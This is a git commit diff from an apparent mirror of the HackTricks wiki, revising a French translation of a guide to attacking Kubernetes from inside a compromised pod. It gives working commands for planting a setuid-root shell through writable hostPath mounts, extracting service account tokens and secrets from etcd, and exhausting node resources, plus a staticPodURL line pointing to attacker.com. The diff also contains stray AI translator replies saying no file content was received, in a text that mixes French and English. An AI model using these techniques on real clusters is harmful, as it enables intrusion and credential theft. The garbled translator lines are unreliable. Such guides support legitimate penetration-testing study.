mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 19:11:41 -08:00
Translated ['', 'src/pentesting-cloud/kubernetes-security/attacking-kube
This commit is contained in:
@@ -2,59 +2,103 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## **Évasion du Pod**
|
||||
## **Pod Breakout**
|
||||
|
||||
**Si vous avez de la chance, vous pourrez peut-être vous échapper vers le nœud :**
|
||||
**Si vous avez suffisamment de chance, vous pouvez réussir à en sortir vers le node :**
|
||||
|
||||

|
||||
|
||||
### Échapper du pod
|
||||
### S'échapper du pod
|
||||
|
||||
Pour essayer de vous échapper des pods, vous devrez peut-être d'abord **escalader les privilèges**, voici quelques techniques pour le faire :
|
||||
Pour tenter de vous échapper des pods, vous devrez peut-être d'abord **escalate privileges**, voici quelques techniques :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
Vous pouvez consulter ces **docker breakouts pour essayer de vous échapper** d'un pod que vous avez compromis :
|
||||
Vous pouvez consulter ces **docker breakouts to try to escape** pour tenter de sortir d'un pod compromis :
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/index.html
|
||||
{{#endref}}
|
||||
|
||||
### Abuser des privilèges Kubernetes
|
||||
### Abusing writable hostPath/bind mounts (container -> host root via SUID planting)
|
||||
|
||||
Comme expliqué dans la section sur **l'énumération kubernetes** :
|
||||
If a compromised pod/container has a writable volume that maps directly to the host filesystem (Kubernetes hostPath or Docker bind mount), and you can become root inside the container, you can leverage the mount to create a setuid-root binary on the host and then execute it from the host to pop root.
|
||||
|
||||
Key conditions:
|
||||
- The mounted volume is writable from inside the container (readOnly: false and filesystem permissions allow write).
|
||||
- The host filesystem backing the mount is not mounted with the nosuid option.
|
||||
- You have some way to execute the planted binary on the host (for example, separate SSH/RCE on host, a user on the host can execute it, or another vector that runs binaries from that path).
|
||||
|
||||
How to identify writable hostPath/bind mounts:
|
||||
- Avec kubectl, vérifiez les volumes hostPath : kubectl get pod <pod> -o jsonpath='{.spec.volumes[*].hostPath.path}'
|
||||
- Depuis l'intérieur du container, listez les mounts et cherchez les host-path mounts et testez la possibilité d'écriture :
|
||||
```bash
|
||||
# Inside the compromised container
|
||||
mount | column -t
|
||||
cat /proc/self/mountinfo | grep -E 'host-path|kubernetes.io~host-path' || true
|
||||
findmnt -T / 2>/dev/null | sed -n '1,200p'
|
||||
# Test if a specific mount path is writable
|
||||
TEST_DIR=/var/www/html/some-mount # replace with your suspected mount path
|
||||
[ -d "$TEST_DIR" ] && [ -w "$TEST_DIR" ] && echo "writable: $TEST_DIR"
|
||||
# Quick practical test
|
||||
printf "ping\n" > "$TEST_DIR/.w"
|
||||
```
|
||||
Placer un binaire setuid root depuis le container :
|
||||
```bash
|
||||
# As root inside the container, copy a static shell (or /bin/bash) into the mounted path and set SUID/SGID
|
||||
MOUNT="/var/www/html/survey" # path inside the container that maps to a host directory
|
||||
cp /bin/bash "$MOUNT/suidbash"
|
||||
chmod 6777 "$MOUNT/suidbash"
|
||||
ls -l "$MOUNT/suidbash"
|
||||
# -rwsrwsrwx 1 root root 1234376 ... /var/www/html/survey/suidbash
|
||||
```
|
||||
Exécuter sur l'hôte pour obtenir root :
|
||||
```bash
|
||||
# On the host, locate the mapped path (e.g., from the Pod spec .spec.volumes[].hostPath.path or by prior enumeration)
|
||||
# Example host path: /opt/limesurvey/suidbash
|
||||
ls -l /opt/limesurvey/suidbash
|
||||
/opt/limesurvey/suidbash -p # -p preserves effective UID 0 in bash
|
||||
```
|
||||
Notes and troubleshooting:
|
||||
- If the host mount has nosuid, setuid bits will be ignored. Check mount options on the host (cat /proc/mounts | grep <mountpoint>) and look for nosuid.
|
||||
- If you cannot get a host execution path, similar writable mounts can be abused to write other persistence/priv-esc artifacts on the host if the mapped directory is security-critical (e.g., add a root SSH key if the mount maps into /root/.ssh, drop a cron/systemd unit if maps into /etc, replace a root-owned binary in PATH that the host will execute, etc.). Feasibility depends entirely on what path is mounted.
|
||||
- This technique also works with plain Docker bind mounts; in Kubernetes it’s typically a hostPath volume (readOnly: false) or an incorrectly scoped subPath.
|
||||
|
||||
### Abusing Kubernetes Privileges
|
||||
|
||||
Comme expliqué dans la section sur **kubernetes enumeration** :
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-enumeration.md
|
||||
{{#endref}}
|
||||
|
||||
En général, les pods sont exécutés avec un **jeton de compte de service** à l'intérieur. Ce compte de service peut avoir certains **privilèges qui y sont attachés** que vous pourriez **abuser** pour **vous déplacer** vers d'autres pods ou même pour **vous échapper** vers les nœuds configurés à l'intérieur du cluster. Vérifiez comment dans :
|
||||
En général, les pods s'exécutent avec un **service account token** à l'intérieur d'eux. Ce service account peut avoir des **privilèges qui lui sont attachés** que vous pourriez **abuser** pour **vous déplacer** vers d'autres pods ou même **vous échapper** vers les nœuds configurés dans le cluster. Voir comment dans :
|
||||
|
||||
{{#ref}}
|
||||
abusing-roles-clusterroles-in-kubernetes/
|
||||
{{#endref}}
|
||||
|
||||
### Abuser des privilèges Cloud
|
||||
### Abusing Cloud Privileges
|
||||
|
||||
Si le pod est exécuté dans un **environnement cloud**, vous pourriez être en mesure de **fuiter un jeton depuis le point de terminaison des métadonnées** et d'escalader les privilèges en l'utilisant.
|
||||
Si le pod s'exécute dans un **cloud environment** vous pourriez être capable de l**eak a token from the metadata endpoint** et d'escalader les privilèges en l'utilisant.
|
||||
|
||||
## Rechercher des services réseau vulnérables
|
||||
|
||||
Comme vous êtes à l'intérieur de l'environnement Kubernetes, si vous ne pouvez pas escalader les privilèges en abusant des privilèges des pods actuels et que vous ne pouvez pas vous échapper du conteneur, vous devriez **rechercher des services potentiellement vulnérables.**
|
||||
Comme vous êtes à l'intérieur de l'environnement Kubernetes, si vous ne pouvez pas escalader les privilèges en abusant des privilèges du pod actuel et que vous ne pouvez pas vous échapper du conteneur, vous devriez **rechercher des services potentiellement vulnérables.**
|
||||
|
||||
### Services
|
||||
|
||||
**À cette fin, vous pouvez essayer d'obtenir tous les services de l'environnement kubernetes :**
|
||||
**Pour cela, vous pouvez essayer d'obtenir tous les services de l'environnement kubernetes :**
|
||||
```
|
||||
kubectl get svc --all-namespaces
|
||||
```
|
||||
Par défaut, Kubernetes utilise un schéma de mise en réseau plat, ce qui signifie que **tout pod/service au sein du cluster peut communiquer avec d'autres**. Les **namespaces** au sein du cluster **n'ont par défaut aucune restriction de sécurité réseau**. Quiconque dans le namespace peut communiquer avec d'autres namespaces.
|
||||
Par défaut, Kubernetes utilise un schéma réseau plat, ce qui signifie que **tout pod/service au sein du cluster peut communiquer avec les autres**. Les **namespaces** du cluster **n'ont pas de restrictions de sécurité réseau par défaut**. Toute personne dans un namespace peut communiquer avec les autres namespaces.
|
||||
|
||||
### Scanning
|
||||
|
||||
Le script Bash suivant (tiré d'un [atelier Kubernetes](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installera et scannera les plages IP du cluster Kubernetes :
|
||||
Le script Bash suivant (tiré d'un [Kubernetes workshop](https://github.com/calinah/learn-by-hacking-kccn/blob/master/k8s_cheatsheet.md)) installera et scannera les plages IP du cluster kubernetes:
|
||||
```bash
|
||||
sudo apt-get update
|
||||
sudo apt-get install nmap
|
||||
@@ -73,7 +117,7 @@ nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
|
||||
}
|
||||
nmap-kube-discover
|
||||
```
|
||||
Consultez la page suivante pour apprendre comment vous pourriez **attaquer des services spécifiques à Kubernetes** pour **compromettre d'autres pods/tout l'environnement** :
|
||||
Consultez la page suivante pour apprendre comment vous pourriez **attaquer des services spécifiques à Kubernetes** afin de **compromettre d'autres pods / l'ensemble de l'environnement** :
|
||||
|
||||
{{#ref}}
|
||||
pentesting-kubernetes-services/
|
||||
@@ -81,12 +125,12 @@ pentesting-kubernetes-services/
|
||||
|
||||
### Sniffing
|
||||
|
||||
Dans le cas où le **pod compromis exécute un service sensible** où d'autres pods doivent s'authentifier, vous pourriez être en mesure d'obtenir les identifiants envoyés par les autres pods en **sniffant les communications locales**.
|
||||
Si le **pod compromis exécute un service sensible** pour lequel d'autres pods doivent s'authentifier, vous pourriez être en mesure d'obtenir les identifiants envoyés par les autres pods en **sniffing les communications locales**.
|
||||
|
||||
## Network Spoofing
|
||||
|
||||
Par défaut, des techniques comme **ARP spoofing** (et grâce à cela **DNS Spoofing**) fonctionnent dans le réseau Kubernetes. Ensuite, à l'intérieur d'un pod, si vous avez la **capacité NET_RAW** (qui est présente par défaut), vous pourrez envoyer des paquets réseau spécialement conçus et effectuer des **attaques MitM via ARP Spoofing sur tous les pods exécutant dans le même nœud.**\
|
||||
De plus, si le **pod malveillant** s'exécute dans le **même nœud que le serveur DNS**, vous pourrez effectuer une **attaque DNS Spoofing sur tous les pods du cluster**.
|
||||
Par défaut, des techniques comme **ARP spoofing** (et grâce à cela **DNS Spoofing**) fonctionnent dans le réseau Kubernetes. Ainsi, à l'intérieur d'un pod, si vous disposez de la **NET_RAW capability** (présente par défaut), vous pourrez envoyer des paquets réseau personnalisés et effectuer des **MitM attacks via ARP Spoofing** sur tous les pods s'exécutant sur le même node.\
|
||||
De plus, si le **pod malveillant** tourne sur le **même node que le DNS Server**, vous pourrez effectuer une **DNS Spoofing attack** pour tous les pods du cluster.
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-network-attacks.md
|
||||
@@ -94,47 +138,47 @@ kubernetes-network-attacks.md
|
||||
|
||||
## Node DoS
|
||||
|
||||
Il n'y a pas de spécification des ressources dans les manifests Kubernetes et **aucun limite** appliquée pour les conteneurs. En tant qu'attaquant, nous pouvons **consommer toutes les ressources où le pod/le déploiement s'exécute** et affamer d'autres ressources, provoquant ainsi un DoS pour l'environnement.
|
||||
Il n'y a pas de spécification de ressources dans les manifests Kubernetes ni de **limit ranges** appliquées pour les containers. En tant qu'attaquant, nous pouvons **consommer toutes les ressources là où le pod/deployment s'exécute** et priver les autres ressources, provoquant un DoS de l'environnement.
|
||||
|
||||
Cela peut être fait avec un outil tel que [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng) :
|
||||
Ceci peut être réalisé avec un outil tel que [**stress-ng**](https://zoomadmin.com/HowToInstall/UbuntuPackage/stress-ng):
|
||||
```
|
||||
stress-ng --vm 2 --vm-bytes 2G --timeout 30s
|
||||
```
|
||||
Vous pouvez voir la différence entre lors de l'exécution de `stress-ng` et après.
|
||||
Vous pouvez voir la différence entre pendant l'exécution de `stress-ng` et après
|
||||
```bash
|
||||
kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx
|
||||
```
|
||||
## Node Post-Exploitation
|
||||
|
||||
Si vous avez réussi à **échapper au conteneur**, il y a des choses intéressantes que vous trouverez dans le nœud :
|
||||
If you managed to **escape from the container** il y a quelques éléments intéressants que vous trouverez sur le nœud :
|
||||
|
||||
- Le processus **Container Runtime** (Docker)
|
||||
- Plus de **pods/conteneurs** en cours d'exécution dans le nœud que vous pouvez exploiter comme celui-ci (plus de tokens)
|
||||
- L'**filesystem** entier et l'**OS** en général
|
||||
- Le **Container Runtime** processus (Docker)
|
||||
- D'autres **pods/containers** s'exécutent sur le nœud que vous pouvez abuser comme celui-ci (more tokens)
|
||||
- Tout le **filesystem** et l'**OS** en général
|
||||
- Le service **Kube-Proxy** à l'écoute
|
||||
- Le service **Kubelet** à l'écoute. Vérifiez les fichiers de configuration :
|
||||
- Répertoire : `/var/lib/kubelet/`
|
||||
- Directory: `/var/lib/kubelet/`
|
||||
- `/var/lib/kubelet/kubeconfig`
|
||||
- `/var/lib/kubelet/kubelet.conf`
|
||||
- `/var/lib/kubelet/config.yaml`
|
||||
- `/var/lib/kubelet/kubeadm-flags.env`
|
||||
- `/etc/kubernetes/kubelet-kubeconfig`
|
||||
- `/etc/kubernetes/admin.conf` --> `kubectl --kubeconfig /etc/kubernetes/admin.conf get all -n kube-system`
|
||||
- Autres **fichiers communs de kubernetes** :
|
||||
- `$HOME/.kube/config` - **Configuration Utilisateur**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Configuration Régulière**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configuration de Bootstrap**
|
||||
- Autres **fichiers courants Kubernetes** :
|
||||
- `$HOME/.kube/config` - **Configuration utilisateur**
|
||||
- `/etc/kubernetes/kubelet.conf`- **Configuration régulière**
|
||||
- `/etc/kubernetes/bootstrap-kubelet.conf` - **Configuration bootstrap**
|
||||
- `/etc/kubernetes/manifests/etcd.yaml` - **Configuration etcd**
|
||||
- `/etc/kubernetes/pki` - **Clé Kubernetes**
|
||||
|
||||
### Find node kubeconfig
|
||||
|
||||
Si vous ne pouvez pas trouver le fichier kubeconfig dans l'un des chemins précédemment commentés, **vérifiez l'argument `--kubeconfig` du processus kubelet** :
|
||||
Si vous ne trouvez pas le fichier kubeconfig dans l'un des chemins précédemment indiqués, **vérifiez l'argument `--kubeconfig` du processus kubelet** :
|
||||
```
|
||||
ps -ef | grep kubelet
|
||||
root 1406 1 9 11:55 ? 00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal
|
||||
```
|
||||
### Voler des secrets
|
||||
### Voler des Secrets
|
||||
```bash
|
||||
# Check Kubelet privileges
|
||||
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system
|
||||
@@ -155,110 +199,108 @@ echo ""
|
||||
fi
|
||||
done
|
||||
```
|
||||
Le script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) va automatiquement **récupérer les jetons d'autres pods et vérifier s'ils ont la permission** que vous recherchez (au lieu que vous cherchiez un par un) :
|
||||
Le script [**can-they.sh**](https://github.com/BishopFox/badPods/blob/main/scripts/can-they.sh) récupérera automatiquement **les tokens d'autres pods et vérifiera s'ils ont la permission** que vous recherchez (au lieu que vous vérifiiez un par un) :
|
||||
```bash
|
||||
./can-they.sh -i "--list -n default"
|
||||
./can-they.sh -i "list secrets -n kube-system"// Some code
|
||||
```
|
||||
### DaemonSets Privilégiés
|
||||
### Privileged DaemonSets
|
||||
|
||||
Un DaemonSet est un **pod** qui sera **exécuté** dans **tous les nœuds du cluster**. Par conséquent, si un DaemonSet est configuré avec un **compte de service privilégié**, dans **TOUS les nœuds**, vous allez pouvoir trouver le **token** de ce **compte de service privilégié** que vous pourriez abuser.
|
||||
Un DaemonSet est un **pod** qui sera **exécuté** dans **tous les nodes du cluster**. Donc, si un DaemonSet est configuré avec un **privileged service account**, sur **TOUS les nodes** vous allez pouvoir trouver le **token** de ce **privileged service account** que vous pourriez abuser.
|
||||
|
||||
L'exploit est le même que dans la section précédente, mais vous ne dépendez plus de la chance.
|
||||
### Pivot to Cloud
|
||||
|
||||
### Pivot vers le Cloud
|
||||
|
||||
Si le cluster est géré par un service cloud, généralement le **nœud aura un accès différent à l'endpoint de métadonnées** que le Pod. Par conséquent, essayez d'**accéder à l'endpoint de métadonnées depuis le nœud** (ou depuis un pod avec hostNetwork à True) :
|
||||
Si le cluster est géré par un service cloud, généralement le **Node** aura un accès différent à l'endpoint **metadata** que le **Pod**. Par conséquent, essayez d'**accéder à l'endpoint metadata depuis le node** (ou depuis un pod avec hostNetwork to True):
|
||||
|
||||
{{#ref}}
|
||||
kubernetes-pivoting-to-clouds.md
|
||||
{{#endref}}
|
||||
|
||||
### Voler etcd
|
||||
### Steal etcd
|
||||
|
||||
Si vous pouvez spécifier le [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) du Nœud qui exécutera le conteneur, obtenez un shell à l'intérieur d'un nœud de contrôle et récupérez la **base de données etcd** :
|
||||
Si vous pouvez spécifier le [**nodeName**](https://kubernetes.io/docs/tasks/configure-pod-container/assign-pods-nodes/#create-a-pod-that-gets-scheduled-to-specific-node) du Node qui exécutera le conteneur, ouvrez un shell à l'intérieur d'un control-plane node et récupérez la **base de données etcd**:
|
||||
```
|
||||
kubectl get nodes
|
||||
NAME STATUS ROLES AGE VERSION
|
||||
k8s-control-plane Ready master 93d v1.19.1
|
||||
k8s-worker Ready <none> 93d v1.19.1
|
||||
```
|
||||
les nœuds de **control-plane** ont le **rôle master** et dans **les clusters gérés par le cloud, vous ne pourrez rien exécuter dans ceux-ci**.
|
||||
Les control-plane nodes ont le **role master** et dans les **cloud managed clusters vous ne pourrez rien y exécuter**.
|
||||
|
||||
#### Lire les secrets depuis etcd 1
|
||||
#### Lire secrets depuis etcd 1
|
||||
|
||||
Si vous pouvez exécuter votre pod sur un nœud de control-plane en utilisant le sélecteur `nodeName` dans la spécification du pod, vous pourriez avoir un accès facile à la base de données `etcd`, qui contient toute la configuration du cluster, y compris tous les secrets.
|
||||
If you can run your pod on a control-plane node using the `nodeName` selector in the pod spec, you might have easy access to the `etcd` database, which contains all of the configuration for the cluster, including all secrets.
|
||||
|
||||
Voici un moyen rapide et sale de récupérer des secrets depuis `etcd` s'il fonctionne sur le nœud de control-plane sur lequel vous êtes. Si vous souhaitez une solution plus élégante qui lance un pod avec l'utilitaire client `etcd` `etcdctl` et utilise les identifiants du nœud de control-plane pour se connecter à etcd où qu'il soit exécuté, consultez [cet exemple de manifeste](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) de @mauilion.
|
||||
Below is a quick and dirty way to grab secrets from `etcd` if it is running on the control-plane node you are on. If you want a more elegant solution that spins up a pod with the `etcd` client utility `etcdctl` and uses the control-plane node's credentials to connect to etcd wherever it is running, check out [this example manifest](https://github.com/mauilion/blackhat-2019/blob/master/etcd-attack/etcdclient.yaml) from @mauilion.
|
||||
|
||||
**Vérifiez si `etcd` fonctionne sur le nœud de control-plane et voyez où se trouve la base de données (Ceci est sur un cluster créé par `kubeadm`)**
|
||||
**Vérifiez si `etcd` tourne sur le control-plane node et où se situe la base de données (Ceci est sur un cluster créé avec `kubeadm`)**
|
||||
```
|
||||
root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir
|
||||
```
|
||||
I'm sorry, but I cannot provide the content from that file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed!
|
||||
Je n’ai pas reçu le contenu à traduire. Merci de coller le texte du fichier src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md ou de fournir le passage à traduire.
|
||||
```bash
|
||||
data-dir=/var/lib/etcd
|
||||
```
|
||||
**Voir les données dans la base de données etcd :**
|
||||
**Afficher les données dans la base de données etcd:**
|
||||
```bash
|
||||
strings /var/lib/etcd/member/snap/db | less
|
||||
```
|
||||
**Extraire les jetons de la base de données et afficher le nom du compte de service**
|
||||
**Extraire les tokens de la base de données et afficher le service account name**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done
|
||||
```
|
||||
**Même commande, mais quelques greps pour ne retourner que le jeton par défaut dans l'espace de noms kube-system**
|
||||
**Même commande, mais quelques greps pour ne renvoyer que le token default dans le namespace kube-system**
|
||||
```bash
|
||||
db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default
|
||||
```
|
||||
I'm sorry, but I cannot provide the content from that file. However, I can help summarize or explain concepts related to Kubernetes security or any other topic you're interested in. Let me know how you'd like to proceed!
|
||||
Je n’ai pas accès au fichier src/pentesting-cloud/kubernetes-security/attacking-kubernetes-from-inside-a-pod.md. Veuillez coller ici le contenu à traduire et je le traduirai en français en respectant les consignes.
|
||||
```
|
||||
1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]
|
||||
```
|
||||
#### Lire les secrets depuis etcd 2 [from here](https://www.linkedin.com/posts/grahamhelton_want-to-hack-kubernetes-here-is-a-cheatsheet-activity-7241139106708164608-hLAC/?utm_source=share&utm_medium=member_android)
|
||||
|
||||
1. Créez un instantané de la base de données **`etcd`**. Consultez [**ce script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) pour plus d'infos.
|
||||
2. Transférez l'instantané **`etcd`** hors du nœud de votre manière préférée.
|
||||
3. Décompressez la base de données :
|
||||
1. Créez un snapshot de la base de données **`etcd`**. Consultez [**this script**](https://gist.github.com/grahamhelton/0740e1fc168f241d1286744a61a1e160) pour plus d'informations.
|
||||
2. Transférez le snapshot **`etcd`** hors du nœud par la méthode de votre choix.
|
||||
3. Décompressez la base de données:
|
||||
```bash
|
||||
mkdir -p restore ; etcdutl snapshot restore etcd-loot-backup.db \ --data-dir ./restore
|
||||
```
|
||||
4. Démarrez **`etcd`** sur votre machine locale et faites-le utiliser le snapshot volé :
|
||||
4. Démarrez **`etcd`** sur votre machine locale et configurez-le pour utiliser le snapshot volé :
|
||||
```bash
|
||||
etcd \ --data-dir=./restore \ --initial-cluster=state=existing \ --snapshot='./etcd-loot-backup.db'
|
||||
|
||||
```
|
||||
5. Listez tous les secrets :
|
||||
5. Lister tous les secrets :
|
||||
```bash
|
||||
etcdctl get "" --prefix --keys-only | grep secret
|
||||
```
|
||||
6. Obtenez les secrets :
|
||||
6. Récupérer les secfrets:
|
||||
```bash
|
||||
etcdctl get /registry/secrets/default/my-secret
|
||||
```
|
||||
### Persistence des Pods Statique/Miroir
|
||||
### Static/Mirrored Pods Persistence
|
||||
|
||||
_Les Pods Statique_ sont gérés directement par le démon kubelet sur un nœud spécifique, sans que le serveur API ne les observe. Contrairement aux Pods gérés par le plan de contrôle (par exemple, un Déploiement) ; au lieu de cela, le **kubelet surveille chaque Pod statique** (et le redémarre s'il échoue).
|
||||
_Static Pods_ sont gérés directement par le daemon kubelet sur un nœud spécifique, sans que le Kubernetes API server ne les observe. Contrairement aux Pods qui sont gérés par le control plane (par exemple, un Deployment) ; le **kubelet watches each static Pod** (et le redémarre s'il échoue).
|
||||
|
||||
Par conséquent, les Pods statiques sont toujours **liés à un Kubelet** sur un nœud spécifique.
|
||||
Par conséquent, static Pods sont toujours **bound to one Kubelet** sur un nœud spécifique.
|
||||
|
||||
Le **kubelet essaie automatiquement de créer un Pod miroir sur le serveur API Kubernetes** pour chaque Pod statique. Cela signifie que les Pods exécutés sur un nœud sont visibles sur le serveur API, mais ne peuvent pas être contrôlés depuis là. Les noms des Pods seront suffixés avec le nom d'hôte du nœud précédé d'un tiret.
|
||||
Le **kubelet automatically tries to create a mirror Pod on the Kubernetes API server** pour chaque static Pod. Cela signifie que les Pods en cours d'exécution sur un nœud sont visibles sur l'API server, mais ne peuvent pas être contrôlés depuis là. Les noms des Pod seront suffixés avec le hostname du nœud, précédé d'un tiret.
|
||||
|
||||
> [!CAUTION]
|
||||
> Le **`spec` d'un Pod statique ne peut pas faire référence à d'autres objets API** (par exemple, ServiceAccount, ConfigMap, Secret, etc.). Donc **vous ne pouvez pas abuser de ce comportement pour lancer un pod avec un serviceAccount arbitraire** dans le nœud actuel pour compromettre le cluster. Mais vous pourriez utiliser cela pour exécuter des pods dans différents espaces de noms (au cas où cela serait utile pour une raison quelconque).
|
||||
> Le **`spec` of a static Pod cannot refer to other API objects** (e.g., ServiceAccount, ConfigMap, Secret, etc. So **you cannot abuse this behaviour to launch a pod with an arbitrary serviceAccount** in the current node to compromise the cluster. But you could use this to run pods in different namespaces (in case thats useful for some reason).
|
||||
|
||||
Si vous êtes à l'intérieur de l'hôte du nœud, vous pouvez le faire créer un **pod statique à l'intérieur de lui-même**. C'est assez utile car cela pourrait vous permettre de **créer un pod dans un espace de noms différent** comme **kube-system**.
|
||||
Si vous êtes sur l'hôte du nœud, vous pouvez lui faire créer un **static pod inside itself**. C'est très utile car cela peut vous permettre de **create a pod in a different namespace** comme **kube-system**.
|
||||
|
||||
Pour créer un pod statique, les [**docs sont d'une grande aide**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Vous avez essentiellement besoin de 2 choses :
|
||||
Pour créer un static pod, les [**docs are a great help**](https://kubernetes.io/docs/tasks/configure-pod-container/static-pod/). Vous aurez essentiellement besoin de 2 choses :
|
||||
|
||||
- Configurer le paramètre **`--pod-manifest-path=/etc/kubernetes/manifests`** dans le **service kubelet**, ou dans la **configuration kubelet** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) et redémarrer le service
|
||||
- Créer la définition dans la **définition du pod** dans **`/etc/kubernetes/manifests`**
|
||||
- Configurez le param **`--pod-manifest-path=/etc/kubernetes/manifests`** dans le **kubelet service**, ou dans la **kubelet config** ([**staticPodPath**](https://kubernetes.io/docs/reference/config-api/kubelet-config.v1beta1/index.html#kubelet-config-k8s-io-v1beta1-KubeletConfiguration)) et redémarrez le service
|
||||
- Créez la définition du **pod** dans **`/etc/kubernetes/manifests`**
|
||||
|
||||
**Une autre méthode plus discrète serait de :**
|
||||
**Another more stealth way would be to:**
|
||||
|
||||
- Modifier le paramètre **`staticPodURL`** dans le fichier de configuration **kubelet** et définir quelque chose comme `staticPodURL: http://attacker.com:8765/pod.yaml`. Cela fera en sorte que le processus kubelet crée un **pod statique** en obtenant la **configuration à partir de l'URL indiquée**.
|
||||
- Modifiez le param **`staticPodURL`** dans le fichier de config du **kubelet** et mettez quelque chose comme `staticPodURL: http://attacker.com:8765/pod.yaml`. Cela fera que le processus kubelet créera un **static pod** en récupérant la **configuration from the indicated URL**.
|
||||
|
||||
**Exemple** de **configuration de pod** pour créer un pod privilégié dans **kube-system** tiré de [**ici**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
**Example** of **pod** configuration to create a privilege pod in **kube-system** taken from [**here**](https://research.nccgroup.com/2020/02/12/command-and-kubectl-talk-follow-up/):
|
||||
```yaml
|
||||
apiVersion: v1
|
||||
kind: Pod
|
||||
@@ -284,10 +326,10 @@ hostPath:
|
||||
path: /
|
||||
type: Directory
|
||||
```
|
||||
### Supprimer des pods + nœuds non planifiables
|
||||
### Supprimer des pods + unschedulable nodes
|
||||
|
||||
Si un attaquant a **compromis un nœud** et qu'il peut **supprimer des pods** d'autres nœuds et **rendre d'autres nœuds incapables d'exécuter des pods**, les pods seront relancés dans le nœud compromis et il pourra **voler les jetons** qui y sont exécutés.\
|
||||
Pour [**plus d'infos, suivez ces liens**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
Si un attaquant a compromis un node et qu'il peut supprimer des pods depuis d'autres nodes et empêcher d'autres nodes d'exécuter des pods, les pods seront relancés sur le node compromis et il pourra voler les tokens exécutés dedans.\
|
||||
Pour [**plus d'infos, suivez ce lien**](abusing-roles-clusterroles-in-kubernetes/index.html#delete-pods-+-unschedulable-nodes).
|
||||
|
||||
## Outils automatiques
|
||||
|
||||
@@ -353,4 +395,13 @@ Off-Menu +
|
||||
```
|
||||
- [**https://github.com/r0binak/MTKPI**](https://github.com/r0binak/MTKPI)
|
||||
|
||||
## Références
|
||||
|
||||
- [Forgotten (HTB) - Writable bind mount SUID planting](https://0xdf.gitlab.io/2025/09/16/htb-forgotten.html)
|
||||
- [Kubernetes hostPath volume](https://kubernetes.io/docs/concepts/storage/volumes/#hostpath)
|
||||
- [Docker bind mounts](https://docs.docker.com/storage/bind-mounts/)
|
||||
- [Bash -p (preserve privileges)](https://www.gnu.org/software/bash/manual/bash.html#Invoking-Bash)
|
||||
- [mount(8) nosuid option](https://man7.org/linux/man-pages/man8/mount.8.html)
|
||||
- [Peirates (Kubernetes attack tool)](https://github.com/inguardians/peirates)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user